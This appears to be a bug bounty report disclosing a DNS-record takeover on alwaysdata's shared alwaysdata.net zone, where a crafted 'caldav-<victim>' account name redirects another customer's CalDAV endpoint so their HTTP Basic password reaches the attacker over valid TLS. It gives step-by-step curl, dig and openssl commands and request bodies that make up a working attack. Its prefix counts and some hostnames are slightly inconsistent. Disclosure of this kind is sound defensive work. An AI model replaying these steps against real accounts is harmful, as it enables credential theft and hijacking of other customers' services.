|
Task Description
VULNERABILITY INFORMATION:
Name of Vulnerability: An incomplete service-prefix blocklist on the account "name" field lets one customer claim the DNS record of another customer's CalDAV or CardDAV service in the shared alwaysdata.net zone.
The user-facing site address field refuses such a hostname, but the auto-provisioner that creates an account's default address does not run that check. As a result, the DNS record is silently reassigned and the victim's client can deliver its HTTP Basic credential to the attacker over Alwaysdata's own wildcard certificate.
Vulnerability Category: Access Control Issues / Broken authentication & session management / Exposure of Sensitive Information, per the qualifying list on your bug bounty page.
Description:
An account's name is used to generate that account's per-service alwaysdata.net zone.
You already recognise the risk and maintain a blocklist of service prefixes for the name field, but it covers only 8 of the 10 prefixes your own interface documents.
"imap-" and "carddav-" are missing, along with the other omitted service prefixes, and the relevant services authenticate with a plaintext password on every connection.
Creating a free account called:
caldav-<victim>
therefore takes over:
caldav-<victim>.alwaysdata.net
which is the CalDAV endpoint your own panel tells customer <victim> to configure.
The DNS record moves to the attacker's web node, and your wildcard certificate for the hostname remains valid. A request carrying an Authorization: Basic header for that hostname therefore lands in the attacker's own web root.
That password is the account's service password described at /admin/account/add/ as being used for default users such as FTP, MySQL and SSH.
Two code paths disagree, and that disagreement is the defect.
The user-facing site address field correctly refuses a hostname the attacker does not own:
caldav-vk7victim.alwaysdata.net
is rejected with:
"The domain name alwaysdata.net does not belong to you"
and:
vk7victim.alwaysdata.net
is rejected with:
"delegated to the vk7victim account".
The auto-provisioner's DEFAULT address on account creation does not run that check.
Only the path a customer cannot see is blind.
SCOPE NOTE, established by testing rather than assumed:
Of the four forgotten prefixes, only "caldav-" and "carddav-" are exploitable this way because those services run over the ports the attacker's web node serves.
I checked the other prefixes rather than claiming them:
``` 185.31.41.11 the attacker's web node 443 OPEN 993 closed 110 closed 185.31.40.62 the real IMAP and POP host 993 OPEN 995 OPEN 143 OPEN 443 closed 185.31.41.92 the real CalDAV host 443 OPEN 993 closed ```
Seizing imap-<victim> or pop-<victim> therefore points the victim's mail hostname at a host where the relevant mail ports are closed. That disrupts the victim's mail rather than capturing credentials.
Because mail service is outside the programme's scope, I make NO claim about those two prefixes beyond the blocklist gap itself.
Everything below is specific to caldav- and carddav-.
Vulnerable Instances:
POST https://admin.alwaysdata.com/admin/account/add/ field "name"
POST https://admin.alwaysdata.com/account/<id>/rename/ field "name"
POST https://www.alwaysdata.com/en/register/ free self-service signup, no captcha
The DNS auto-provisioner creates an account's default alwaysdata.net zone.
Steps to Reproduce:
Total cost: EUR 0, approximately four minutes.
Every account involved is one I own, and the "victim" record belongs to my own second account.
1. The blocklist gap.
Each row below is a single POST to /admin/account/add/ showing the validator's verdict on the name field.
ssh-vk7victim -> "This name contains an invalid prefix."
ftp-vk7victim -> "This name contains an invalid prefix."
smtp-vk7victim -> "This name contains an invalid prefix."
webdav-vk7victim -> "This name contains an invalid prefix."
mysql-vk7victim -> "This name contains an invalid prefix."
postgresql-vk7victim -> "This name contains an invalid prefix."
rabbitmq-vk7victim -> "This name contains an invalid prefix."
services-vk7victim -> "This name contains an invalid prefix."
imap-vk7victim -> ACCEPTED, no prefix error
pop-vk7victim -> ACCEPTED, no prefix error
caldav-vk7victim -> ACCEPTED, no prefix error
carddav-vk7victim -> ACCEPTED, no prefix error
The charset validator is separate and works correctly. Invalid characters are rejected, while alphabetic, numeric and hyphen characters are accepted.
Uniqueness is case-insensitive, so VK7RESEARCH is refused.
2. Obtain a second free account.
/admin/account/add/ refuses a second free product for one user, so I used the public signup, which is free and has no captcha.
POST https://www.alwaysdata.com/en/register/
email=<ours>[+x@alwaysdata.net](mailto:+x@alwaysdata.net) & password=... & privacy_policy=on
-
Location: /login/?user_id=<dec>&expiration=<ts>&token=<epoch>-<hmac>
Plus addressing on my own platform mailbox works, so the validation message can be received.
imap-<ours>.alwaysdata.net:993 with the service password.
I completed:
/user/validate/?user_id=<b36>&token=...
and then POST /login/.
3. Record the victim's CalDAV record BEFORE the attack.
$ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net A
> 185.31.41.92
the shared Radicale CalDAV host
$ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net AAAA
> 2a00:b6e0:1:90:8::1
4. Create the colliding account.
One request, with no warning or confirmation:
POST https://admin.alwaysdata.com/admin/account/add/
Referer: https://admin.alwaysdata.com/admin/account/add/
csrfmiddlewaretoken=<tok>&name=caldav-vk7victim&password=<pw>&product=2012&period=1mo
&location=datacenter_3&contract_28=on&contract_36=on
-
Location: /subscription/
/subscription/ then lists:
caldav-vk7victim | Free (1GB disk, 256M...)
account 500765, subscription 520987
with a default site 1078599 and subdomain object 1351172 for:
caldav-vk7victim.alwaysdata.net
5. The victim's record has moved.
I queried the authoritative nameserver so this is not a local cache artefact.
$ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
> 185.31.41.11
the shared web node serving the attacker's new account
$ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
> 2a00:b6e0:1:20:23::1
$ dig +short @1.1.1.1 caldav-vk7victim.alwaysdata.net A
> 185.31.41.11
6. The edge supplies valid TLS for the stolen name, so the victim's client sees no warning.
$ openssl s_client -connect caldav-vk7victim.alwaysdata.net:443
-servername caldav-vk7victim.alwaysdata.net
> subject=CN=*.alwaysdata.net
> issuer=C=US, O=Let's Encrypt, CN=YE1
> X509v3 Subject Alternative Name:
DNS:*.alwaysdata.net, DNS:alwaysdata.net
> notBefore=Sep 15 06:30:39 2026 GMT
> notAfter=Dec 14 06:30:38 2026 GMT
7. The credential channel terminates in the attacker's web root.
The genuine service at that hostname uses HTTP Basic, so the client transmits the credential on requests to the hostname.
$ curl -D- https://caldav-vk7research.alwaysdata.net/
-
> www-authenticate: Basic realm="Radicale - Password Required"
> server: WSGIServer/0.2 CPython/3.11.2
A one-line index.php in the attacker account's web root echoes the Authorization header.
Simulating the client your own documentation tells account vk7victim to configure:
$ curl -H "User-Agent: DAVx5/4.3.1 okhttp/4.12"
-u 'vk7victim:<placeholder>'
https://caldav-vk7victim.alwaysdata.net/index.php
-
> via: 2.0 alproxy
> served by account: caldav-vk7victim on host http22
> Host header: caldav-vk7victim.alwaysdata.net
> Authorization header received: Basic dms3dmljdGltOi4uLg==
The value in this request is a PLACEHOLDER, not the account's real password.
The important point is that the credential channel for the victim's hostname terminates in an unrelated EUR 0 account's web root, inside a TLS session that Alwaysdata itself certified.
8. Additional defect found while remediating: releasing the name does not restore the DNS record.
POST /account/500765/rename/
name=zztestl6dns
-
$ dig +short @dns1.alwaysdata.com caldav-zztestl6dns.alwaysdata.net
> 185.31.41.92
the new name provisioned correctly
$ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
> 185.31.41.11
STILL pointing at the attacker's node
Therefore, the hijack outlives the account name that caused it.
A no-op rename did not restore it either.
This is the same stale binding class you have already fixed and paid several times over (FS#139, FS#146, FS#167, FS#217, FS#221, FS#294).
9. Controls that rule out alternative explanations.
a. The records are real per-account entries, not a wildcard.
$ dig +short @dns1.alwaysdata.com zzznosuchaccount9912.alwaysdata.net
> no matching account record
b. Sibling records are untouched throughout, so the reassignment is targeted rather than global:
caldav-vk7research.alwaysdata.net A -> 185.31.41.92
carddav-vk7research.alwaysdata.net A -> 185.31.41.92
imap-vk7research.alwaysdata.net A -> 185.31.40.62
$ curl -o /dev/null -w '%{http_code} %{remote_ip}'
https://caldav-vk7research.alwaysdata.net/
> 302 185.31.41.92
c. The prefix check is a pure prefix match, independent of whether the suffix names a real account:
ssh-nosuchacct9912 -> blocked
pop-nosuchacct9912 -> accepted
d. The user-facing address field DOES enforce ownership, which demonstrates that the two paths disagree rather than there being no check at all.
Submitting each of the following on a site I own returned HTTP 200 with a field error and persisted nothing:
vk7victim.alwaysdata.net
caldav-vk7victim.alwaysdata.net
imap-vk7victim.alwaysdata.net
ssh-vk7victim.alwaysdata.net
The control that proves my request shape was correct:
vk7research.alwaysdata.net/orchctl
returned HTTP 302 in the identical request and was persisted and read back.
Proof of Concept:
Steps 1 to 9 reproduce end to end from curl, dig and openssl with an ordinary free account.
The DNS value change in step 5 was confirmed twice from two independent resolvers, while the sibling records in step 9b remained unchanged during the same sweep.
WHAT THIS REPORT DOES NOT CLAIM, stated plainly:
* I did not point a real third party's calendar client at the seized hostname.
The Authorization header shown in step 7 carries a placeholder rather than any real password. I did not need a real secret to prove where the credential channel terminates, and I did not capture one.
* I did not use a captured credential against FTP, MySQL or SSH.
The reason the service password matters is your own help text at /admin/account/add/, which states that the password is used for default users. I did not need to exercise those services to establish the credential reuse risk.
* The remaining step is standard DAV client behaviour rather than speculation.
A client configured for caldav-<victim>.alwaysdata.net resolves that hostname, reaches the attacker-controlled host over valid TLS, and transmits Basic credentials because that is what the genuine endpoint requires.
Nothing about the victim's configuration changes and nothing prompts them.
I did not execute this against a real victim, so you can weigh the demonstrated credential channel directly.
* I did not claim imap- or pop- seizure as credential capture. See the scope note above.
* The one artefact I cannot repair myself is in step 8:
caldav-vk7victim.alwaysdata.net
still resolves to:
185.31.41.11
as of this report.
Nothing of mine is served there. The record belongs to vk7victim, which is an account I own, so no customer of yours is affected.
Please restore it.
Test window:
2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.
Requests were sequential and paced. Account creation was limited to the single extra account required for the test.
Impact:
With one free signup, an attacker can take over the CalDAV or CardDAV hostname of any named account, and account names are public information under your own rules.
The victim's client can then send the account's service password to the attacker over valid TLS, with no certificate warning and no user action beyond its normal scheduled sync.
Because that password is shared with FTP, MySQL and SSH according to your own account creation documentation, successful capture would potentially extend beyond the calendar or contacts service to the victim's broader hosting account.
The affected account could therefore expose its website, databases, mail and files, depending on which services use the shared service password.
The victim also loses the calendar or contacts service itself because their hostname no longer points to the genuine service.
On the two exclusions in your rules that could be misread onto this finding:
First, the customer site exclusion does not apply. The alwaysdata.net hostnames are linked to customer accounts, and this is not a flaw in a customer's site or anything a customer configured.
The provisioning code operates in a DNS zone controlled by Alwaysdata, and the record is reassigned from one customer to another by your own account creation path. No customer action is involved on either side.
Second, the fact that account names may be discoverable in many different ways does not change the finding.
I am not reporting account name disclosure. The account name is simply the input that selects which victim's DNS record gets reassigned. If name disclosure were eliminated, the provisioning flaw would still exist and would still be reachable by anyone who knows one account name.
On duplication with FS#348 :
That report, "Subdomain Squatting on alwaysdata.net Platform Namespace", was closed Invalid and concerned claiming unused labels.
This finding takes an existing hostname that already resolves for a live customer and reassigns its DNS record.
Step 5 demonstrates the value changing from the genuine CalDAV host to the attacker's web node, while four sibling records remain unchanged as controls in step 9b.
The defect is therefore in the provisioner's collision handling, not in the availability of an unused name.
What this achieves that a customer's own SSH shell cannot:
It allows a customer to rewrite a DNS record in a zone they do not own and redirect another customer's service hostname to infrastructure controlled by the attacker.
CVSS v3.1:
9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
AV:N because every step is performed through network requests.
AC:L because the sequence is deterministic and the only required input is a name the attacker already knows.
PR:L because a free account is required.
UI:N because no victim interaction is required to perform the DNS reassignment. The victim's client sends the credential on its own next scheduled sync, without prompting the victim.
S:C because the vulnerable component is the account provisioning system, while the impacted components are the shared DNS zone and another customer's account.
C:H because the captured credential is the account's service password.
I:H and A:H because the shared password is used across FTP, MySQL and SSH, and because the victim loses the CalDAV/CardDAV service itself.
If you prefer to treat the client's next reconnection as user interaction, the score would be lower.
The demonstrated impact remains Critical under that interpretation, and I am content for you to settle the final scoring based on the facts above.
Recommendation:
1. Complete the prefix blocklist.
Add all omitted service prefixes, including:
"imap-"
"pop-"
"pop3-"
"caldav-"
"carddav-"
Better, derive the validation list from the same service-prefix list used by the provisioner so the two cannot drift apart again.
2. Apply the ownership and collision check in the auto-provisioner, not only in the user-facing address form.
A default address that would collide with an existing record in the shared zone should be rejected using the same ownership check that control 9d shows you already implement on the other path.
3. Reject any account name that would collide with an existing generated record in the zone rather than relying solely on a static prefix list.
4. Restore a released hostname to its rightful owner when a colliding account is renamed or deleted, as demonstrated in step 8.
5. Consider not sharing one password across web, FTP, SSH and MySQL.
Separating service credentials would ensure that capturing one service credential does not automatically provide access to the broader hosting account.
|